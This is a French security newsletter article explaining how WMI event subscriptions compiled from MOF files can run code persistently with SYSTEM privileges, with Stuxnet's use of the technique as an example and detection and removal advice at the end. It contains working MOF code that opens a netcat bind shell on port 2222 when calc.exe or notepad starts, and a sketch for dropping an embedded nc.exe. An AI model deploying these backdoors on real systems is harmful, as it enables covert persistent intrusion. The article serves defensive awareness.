--[ 10. Le saviez-vous ? La réponse ]------------------------------------ WMI (1) fournit la possibilité d'exécuter du code lorsque la notification d'un événement se produit (lancement d'un programme, authentification d'un utilisateur, etc.). Rappels concernant WMI Pour créer des événements, il est nécessaire d'étendre le schéma WMI concernant la description des classes CIM (Common Information Model) et de définir un MOF (Managed Object Format) (2). Un fichier .mof correspond à un fichier texte dans lequel les instances des classes ainsi que des scripts peuvent être présents. Le compilateur mofcomp.exe doit ensuite être utilisé avec les privilèges Administrateur afin que ces définitions soient rajoutées dans la CIM repository. Afin de pouvoir exécuter le code voulu, une notification d'événement doit être définie spécifiquement en enregistrant une instance de la classe __EventFilter (event filter), une instance de la classe __EventConsumer (event consumer) et en les reliant ensemble (__FilterToConsumerBinding). Pour simplifier, ceci consiste à dire "Quel événement Windows (__EventFilter) sera délivré au consommateur et exécutera mon script (__EventConsumer) ?". Le consommateur peut intégrer toutes sortes de langages existants, toutefois, dans un environnement Windows, le VBScript est un langage de choix pour son universalité sur ces systèmes. Plusieurs classes sont prédéfinies dans Windows (3). Celles concernant l'Event Consumer sont au nombre de cinq (4) : ActiveScriptEventConsumer, LogFileEventConsumer, NTEventLogEventConsumer, SMTPEventConsumer, CommandLineEventConsumer. Par exemple, la classe ActiveScriptEventConsumer (5) permet notamment d'exécuter un script prédéfini lorsqu'un événement particulier est délivré. Exemple de script VBScript contenu dans un fichier MOF Voici un petit exemple de code MOF qui crée un filtre d'événement sur la calculatrice Windows et crée un consommateur d'événement qui ouvre un port TCP via netcat. Lors du lancement de calc.exe, l'événement attendu se produit, et le consommateur va donc lancer la commande nc pour ouvrir le port TCP/2222 : #pragma namespace ("\\\\.\\root\\subscription") instance of __EventFilter as $FILTER { Name = "LOLCAL_SYSTEM"; EventNamespace = "root\\cimv2"; Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 " "WHERE TargetInstance ISA \"Win32_Process\" " "AND TargetInstance.Name = \"calc.exe\""; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $CONSUMER { Name = "LOLCAL_SYSTEM"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\n" "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C start C:\\outils\\nc111nt\\nc.exe -L -p 2222 -d -e cmd.exe\"\n"; }; instance of __FilterToConsumerBinding { Consumer = $CONSUMER ; Filter = $FILTER ; }; Ce fichier .mof doit ensuite être compilé via mofcomp. Ce code permet donc ici, dès que la calculatrice Windows est lancée, d'ouvrir le port TCP/2222 sur lequel un shell fonctionne : C:\hack>netstat -ano | findstr 2222 TCP 0.0.0.0:2222 0.0.0.0:0 LISTENING 212 Une connexion telnet sur ce port est ensuite possible : C:\Documents and Settings\stephane>telnet localhost 2222 Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>whoami BLAH\SYSTEM Les privilèges Local System sont ainsi possibles via un simple telnet sur le port ouvert ^^. Le filtre événement créé est par ailleurs permanent, c'est-à-dire qu'il sera toujours présent même après un reboot (6). Il est bien sûr possible d'effectuer des scripts beaucoup plus malveillants, tel que lancer notre netcat dès qu'un utilisateur se désauthentifie, et le supprimer dès qu'un utilisateur s'authentifie, ceci afin d'essayer de passer inaperçu. Embarquement d'un binaire dans un fichier MOF Il est également possible d'embarquer un exécutable directement dans le fichier.mof et d'utiliser les FSO (File System Object) pour copier ce fichier dans un répertoire du système. Ce concept avait notamment été présenté en 2008 (8) en intégrant un binaire sous forme de caractères ASCII : #pragma namespace ("\\\\.\\root\\subscription") instance of ActiveScriptEventConsumer as $notepadConsommateur { Name = "notepad"; ScriptingEngine = "VBScript"; ScriptText = "Dim objFS, objFile, file, wshShell\n" "dim exploit1\n" [...] "dim exploit549\n" [...] chr(110) & chr(101) & chr(116) & chr(99) & chr(97) & chr(116) & chr(10) \n" [...] "Dim objFS1, objFile1, file1, wshShell1\n" "Dim strCommand1\n" "Dim objShell1\n" "dim Wscript\n" "file = \"C:\\Windows\\System32\\nc.exe\"\n" "Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n" "Set objFile = objFS.OpenTextFile(file,2,true)\n" "objFile.Write exploit1\n" [...] "objFile.Write exploit549\n" "objFile.Close\n" "Set objShell = CreateObject(\"WScript.Shell\")\n" "objShell.Run \"C:\\Windows\\System32\\cmd.exe /C start C:\\Windows\\System32\\nc.exe -l -p 2222 -e cmd.exe\"\n" }; [...] Ce script crée le filtre événement $notepadFiltre qui attend que notepad soit lancé. Lorsque celui-ci est lancé, le binaire nc.exe est copié dans le répertoire C:\Windows\System32\, puis le port TCP 2222 est ouvert avec un accès shell en tant que System ou Network Service suivant les versions de Windows. Compilation automatique de fichiers MOF Un autre point important concernant la compilation des fichiers .mof est que celle-ci peut être faite automatiquement lorsque ces fichiers sont placés dans un répertoire particulier. Le code VBScript sera alors exécuté dans le contexte de System sous Windows XP et Windows Server 2003 et dans le contexte de Network Service sous Windows Vista. Le répertoire par défaut dans lequel WMI compile automatiquement tous les fichiers MOF qui y sont placés est %SystemRoot%\System32\WBEM\MOF\. Le paramètre MofSelfInstallDirectory de la classe Win32_WMISetting (7) indique ainsi les valeurs suivantes : HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM|CIMOM|MOF Self=Install Directory Un petit coup d'oeil dans la base de registre permet de vérifier le bon répertoire. Tous les fichiers .mof placés dans le répertoire %SystemRoot%\System32\Wbem\Mof sont donc automatiquement compilés par WMI. Si la compilation ne génère aucune erreur, le fichier .mof est ensuite automatiquement placé dans le sous-répertoire "good". Si une erreur se produit, le fichier .mof est placé dans le sous-répertoire "bad". Exemple avec Stuxnet Pour l'exploitation de la vulnérabilite du print spooler (MS10-061, CVE-2010-2719) permettant à un utilisateur Guest de déposer des fichiers dans le répertoire %SystemRoot%\System32, le vers Stuxnet utilise également cette fonctionnalité lors de la seconde phase de l'exploitation. La première phase de l'exploitation consistant à déposer deux fichiers sur le serveur aux emplacements suivants : %SystemRoot%\System32\wbem\mof\sysnullevnt.mof %SystemRoot%\System32\winsta.exe Le fichier winsta.exe est ici le module principal de Stuxnet, et le fichier sysnullevnt.mof est le fichier MOF qui se compilera automatiquement dans le répertoire. Celui-ci contient le code pour exécuter le fichier winsta.exe lorsque certains événements se produisent, puis il se supprime tout seul. Dans le cas de Stuxnet, les événements suivants apparaîssent notamment dans les journaux MOF situés à l'emplacement %SystemRoot%\System32\wbem\log\ : (...) : ReloadEventFilter in namespace //./root/CIMV2. Object is instance of __EventFilter { Name = "qndfilt"; Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"winsta.exe\""; QueryLanguage = "WQL"; }; (...) : Deactivating filter 021DCB10 (...) : Deactivating filter 02248CC0 (...) : ReloadConsumer in namespace //./root/CIMV2. Object is instance of ActiveScriptEventConsumer { Name = "qndASEC"; ScriptingEngine = "JScript"; ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\sysnullevnt.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"winsta.exe\");\nf2.Delete(true);\n var s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\"); s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};"; }; (...) : ReloadProvider in namespace //./root/CIMV2. Object is instance of __Win32Provider { CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}"; Name = "ActiveScriptEventConsumer"; PerUserInitialization = TRUE; }; (...) : Prepared resync in namespace //./root/CIMV2 (...) : Removing consumer provider record: //./root/CIMV2 in \\.\Root\cimv2:__Win32Provider.Name="ActiveScriptEventConsumer" Pour résumer Il est donc possible de créer des instances de classes et de créer un filtre sur des notifications d'événement qui, lorsque ceux-ci se produisent, permettent d'exécuter un programme avec des privilèges élevés. La création des instances et des filtres d'événement passe relativement inaperçues, et permet finalement la création de backdoors et de rootkits en utilisant les fonctionnalités de base de Windows. Recommandations Le répertoire %SystemRoot%\System32\wbem\mof\ doit donc être particulièrement surveillé par les administrateurs systèmes, analystes forensiques et auditeurs sécurité afin de détecter d'éventuels fichiers .mof incongrus. Par ailleurs, une surveillance des journaux MOF doit être faite. Ceux-ci se trouvent dans le répertoire %SystemRoot%\System32\wbem\log\. Les événements WMI doivent également être régulièrement listés afin de découvrir ceux qui pourraient être suspects. Ceci peut être fait par le biais de commandes wmic ou par le biais d'outils graphiques WMI tels que WMI Event Registration (9) : http://www.hsc.fr/~milani/WMI_EventFilter.png http://www.hsc.fr/~milani/WMI_EventConsumer.png http://www.hsc.fr/~milani/netcat_LOLCAL_SYSTEM.png L'outil wbemtest.exe peut aussi être utilisé pour lister les classes, les instances et afficher les fichiers MOF. Ceci permet par ailleurs de voir que le créateur de la classe ActiveScriptEventConsumer est le SID 1,1,0,0,0,0,0,5,18,0,0,0, soit le compte Local System : http://www.hsc.fr/~milani/WMI_ActiveScriptEventConsumer_CreatorSID.png Les commandes wmic suivantes permettent également de lister toutes les instances présentes (filtre d'événement, filtre de consommateur, liaison entre les deux filtres) : C:\>wmic /namespace:\\root\subscription PATH __EventFilter get /format:list C:\>wmic /namespace:\\root\subscription PATH __EventConsumer get /format:list C:\>wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding get /format:list La suppression des instances malveillantes peut être faite avec les commandes suivantes : C:\>wmic /namespace:\\root\subscription PATH__EventConsumer delete C:\>wmic /namespace:\\root\subscription PATH__EventFilter delete C:\>wmic /namespace:\\root\subscription PATH__FilterToConsumerBinding delete Il convient également de vérifier et changer les permissions sur l'Espace de nom \\root\subscription. L'article de Microsoft explique ceci : http://support.microsoft.com/kb/325353 L'article Microsoft expliquant comment restreindre l'accès aux Espaces de nom WMI peut également être consulté : http://msdn.microsoft.com/en-us/library/aa826354%28VS.85%29.aspx Liens (1) Brève sur WMI : http://www.hsc.fr/ressources/breves/WMI.html.fr (2) Managed Object Format (MOF) : http://msdn.microsoft.com/en-us/library/aa823192%28v=vs.85%29.aspx (3) WMI System Classes : http://msdn.microsoft.com/en-us/library/aa394583%28v=vs.85%29.aspx (4) Monitoring and Responding to Events with Standard Consumers : http://msdn.microsoft.com/en-us/library/aa392395%28v=VS.85%29.aspx (5) ActiveScriptEventConsumer Class : http://msdn.microsoft.com/en-us/library/aa384749%28v=VS.85%29.aspx (6) Receiving Events Securely : http://msdn.microsoft.com/en-us/library/aa393016%28v=VS.85%29.aspx (7) Win32_WMISetting : http://msdn.microsoft.com/en-us/library/aa394522%28VS.85%29.aspx (8) The Moth Trojan : http://archive.hack.lu/2008/Craig_lightning_The%20Moth%20Trojan.pdf (9) WMI Event Registration : http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314&displaylang=en Stéphane Milani